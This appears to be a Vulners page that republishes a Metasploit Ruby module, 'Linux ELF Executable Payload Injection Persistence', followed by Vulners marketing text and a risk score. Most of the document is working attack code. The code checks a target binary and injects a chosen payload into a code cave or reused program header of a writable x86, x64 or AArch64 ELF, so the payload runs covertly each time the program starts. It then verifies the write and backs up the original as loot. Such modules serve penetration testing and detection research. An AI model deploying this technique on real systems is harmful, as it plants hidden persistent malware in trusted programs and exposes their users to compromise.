Linux ELF Executable Payload Injection Persistence
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'digest'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::Local::Persistence
include Msf::Post::File
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux ELF Executable Payload Injection Persistence',
'Description' => %q{
This module injects a payload into an existing Linux ELF executable.
The payload runs in a forked process whenever the executable is launched,
while the original program continues from its original entry point.
The target must be a writable x86, x64, or AArch64 ET_EXEC or ET_DYN file
with an executable code cave or a reusable PT_NOTE/PT_NULL program header.
The original ELF is stored as loot before it is changed.
},
'License' => MSF_LICENSE,
'Author' => ['dledda-r7'],
'SessionTypes' => ['meterpreter', 'shell'],
'Targets' => [
['Linux x64', { 'Platform' => %w[linux], 'Arch' => ARCH_X64 }],
['Linux x86', { 'Platform' => %w[linux], 'Arch' => ARCH_X86 }],
['Linux AArch64', { 'Platform' => %w[linux], 'Arch' => ARCH_AARCH64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-08-27',
'DefaultOptions' => {
'PrependExecOnce' => true
},
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1027_009_EMBEDDED_PAYLOADS],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('ELF_PATH', [true, 'Absolute path to the ELF executable to modify'])
])
deregister_options('WritableDir')
end
def check
return CheckCode::Safe('ELF_PATH must be absolute') unless elf_path.start_with?('/')
return CheckCode::Safe("ELF does not exist: #{elf_path}") unless file?(elf_path)
return CheckCode::Safe("ELF is not readable: #{elf_path}") unless readable?(elf_path)
return CheckCode::Safe("ELF is not writable: #{elf_path}") unless writable?(elf_path)
return CheckCode::Safe("ELF is not executable: #{elf_path}") unless executable?(elf_path)
original_elf = read_file(elf_path)
return CheckCode::Unknown("Unable to read ELF: #{elf_path}") unless original_elf
injector = Msf::Exe::ElfInjector.new(template: original_elf)
return CheckCode::Safe('ELF already contains this injection marker') if injector.injected?
return CheckCode::Safe("ELF architecture is #{injector.architecture}, but target is #{target_architecture}") unless injector.architecture == target_architecture
injector = Msf::Exe::ElfInjector.new(template: original_elf, payload: check_payload)
injector.generate
CheckCode::Detected("Writable #{injector.architecture} ELF supports #{injection_technique(injector)}")
rescue StandardError => e
CheckCode::Unknown("Unable to validate ELF: #{e.message}")
end
def install_persistence
original_elf = read_file(elf_path)
fail_with(Failure::UnexpectedReply, "Unable to read ELF: #{elf_path}") unless original_elf
restore_file_with_msg = lambda do |oelf, omode, bpath|
restoration_succeeded = restore_original(oelf, omode)
message = restoration_succeeded ? 'restoration succeeded' : "restoration failed; the original ELF backup is at #{bpath}. Copy it to #{elf_path} and set mode #{omode.to_s(8)} to recover"
message
end
encoded_payload = payload.encoded
begin
injector = Msf::Exe::ElfInjector.new(template: original_elf, payload: encoded_payload)
injected_elf = injector.generate
original_mode = stat(elf_path).mode & 0o7777
rescue StandardError => e
fail_with(Failure::NotVulnerable, "ELF cannot be injected: #{e.message}")
end
fail_with(Failure::BadConfig, "ELF architecture is #{injector.architecture}, but target is #{target_architecture}") unless injector.architecture == target_architecture
backup_path = store_loot(
'linux.elf.backup',
'application/octet-stream',
session,
original_elf,
::File.basename(elf_path),
"Original ELF backup for #{elf_path}"
)
fail_with(Failure::UnexpectedReply, 'Failed to store the original ELF as loot') unless backup_path
print_status("Injecting #{encoded_payload.bytesize} bytes into #{elf_path} using #{injection_technique(injector)}")
begin
write_succeeded = write_file(elf_path, injected_elf)
rescue StandardError => e
message = restore_file_with_msg.call(original_elf, original_mode, backup_path)
fail_with(Failure::UnexpectedReply, "Failed to write injected ELF: #{e.message}; #{message}")
end
unless write_succeeded
message = restore_file_with_msg.call(original_elf, original_mode, backup_path)
fail_with(Failure::UnexpectedReply, "Failed to write injected ELF: #{elf_path}; #{message}")
end
begin
chmod(elf_path, original_mode)
written_elf = read_file(elf_path)
rescue StandardError => e
message = restore_file_with_msg.call(original_elf, original_mode, backup_path)
fail_with(Failure::UnexpectedReply, "Failed to verify injected ELF: #{e.message}; #{message}")
end
unless written_elf && Digest::SHA256.hexdigest(written_elf) == Digest::SHA256.hexdigest(injected_elf)
message = restore_file_with_msg.call(original_elf, original_mode, backup_path)
fail_with(Failure::UnexpectedReply, "Injected ELF verification failed; #{message}")
end
if session.type == 'meterpreter'
@clean_up_rc << %(upload "#{backup_path}" "#{elf_path}"\n)
@clean_up_rc << %(execute -f /bin/chmod -a "#{original_mode.to_s(8)} #{elf_path}"\n)
else
print_warning('Targeted session is not a meterpreter type, cleanup commands will not be generated')
print_status("Original ELF backup saved to #{backup_path}")
end
print_good("Payload will execute when #{elf_path} is launched")
end
private
def elf_path
datastore['ELF_PATH']
end
def target_architecture
target.arch.first.to_sym
end
def check_payload
return payload.encoded if payload
selected_payload = framework.payloads.create(datastore['PAYLOAD'])
raise ArgumentError, 'No payload has been selected' unless selected_payload
selected_payload.share_datastore(datastore)
generate_single_payload(selected_payload).encoded
end
def injection_technique(injector)
injector.technique == :code_cave ? 'an executable code cave' : 'a new executable segment'
end
def restore_original(original_elf, original_mode)
print_warning('Attempting to restore the original ELF')
unless write_file(elf_path, original_elf)
print_error('Failed to write the original ELF')
return false
end
chmod(elf_path, original_mode)
restored_elf = read_file(elf_path)
unless restored_elf && Digest::SHA256.hexdigest(restored_elf) == Digest::SHA256.hexdigest(original_elf)
print_error('Restored ELF verification failed')
return false
end
true
rescue StandardError => e
print_error("Failed to restore the original ELF: #{e.message}")
false
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Aug 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2